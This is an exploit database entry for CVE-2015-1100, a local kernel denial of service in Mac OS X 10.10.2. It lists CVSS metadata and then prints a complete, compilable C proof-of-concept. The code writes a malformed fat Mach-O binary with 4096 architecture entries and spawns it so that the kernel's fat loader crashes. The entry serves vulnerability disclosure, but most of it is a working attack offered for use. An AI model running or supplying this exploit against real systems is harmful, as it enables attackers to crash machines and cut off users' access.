Exploitalert - Database of Exploits

Mac OS X 10.10.2 Local Denial of Service

CVE	Category	Price	Severity
CVE-2015-1100	CWE-DoS	Not specified	High

Author	Risk	Exploitation Type	Date
Not specified	High	Local	2015-04-22

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.0713857	0.0861033

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2015040142

/* * 2015, Maxime Villard, CVE-2015-1100 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X * Kernel. * * $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c * $ ./Mac-OS-X_Fat-DoS BINARY-NAME * * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c * Analysis: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <spawn.h> #include <unistd.h> #include <err.h> #include <mach-o/fat.h> #include <sys/stat.h> #define MAXNUM (4096) #define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM)) void CraftBinary(char *name) { struct fat_header fat_header; struct fat_arch *arches; size_t i; int fd; memset(&fat_header, 0, sizeof(fat_header)); fat_header.magic = FAT_MAGIC; fat_header.nfat_arch = 4096; if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL) err(-1, "calloc"); for (i = 0; i < MAXNUM0; i++) arches[i].cputype = CPU_TYPE_I386; if ((fd = open(name, O_CREAT|O_RDWR)) == -1) err(-1, "open"); if (write(fd, &fat_header, sizeof(fat_header)) == -1) err(-1, "write"); if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1) err(-1, "write"); if (fchmod(fd, S_IXUSR) == -1) err(-1, "fchmod"); close(fd); free(arches); } void SpawnBinary(char *name) { cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 }; char *argv[] = { "Crazy Horse", NULL }; char *envp[] = { NULL }; posix_spawnattr_t attr; size_t set = 0; int ret; if (posix_spawnattr_init(&attr) == -1) err(-1, "posix_spawnattr_init"); if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1) err(-1, "posix_spawnattr_setbinpref_np"); fprintf(stderr, "----------- Goodbye! -----------\n"); ret = posix_spawn(NULL, name, NULL, &attr, argv, envp); fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s BINARY-NAME\n", argv[0]); } else { CraftBinary(argv[1]); SpawnBinary(argv[1]); } }

Impressum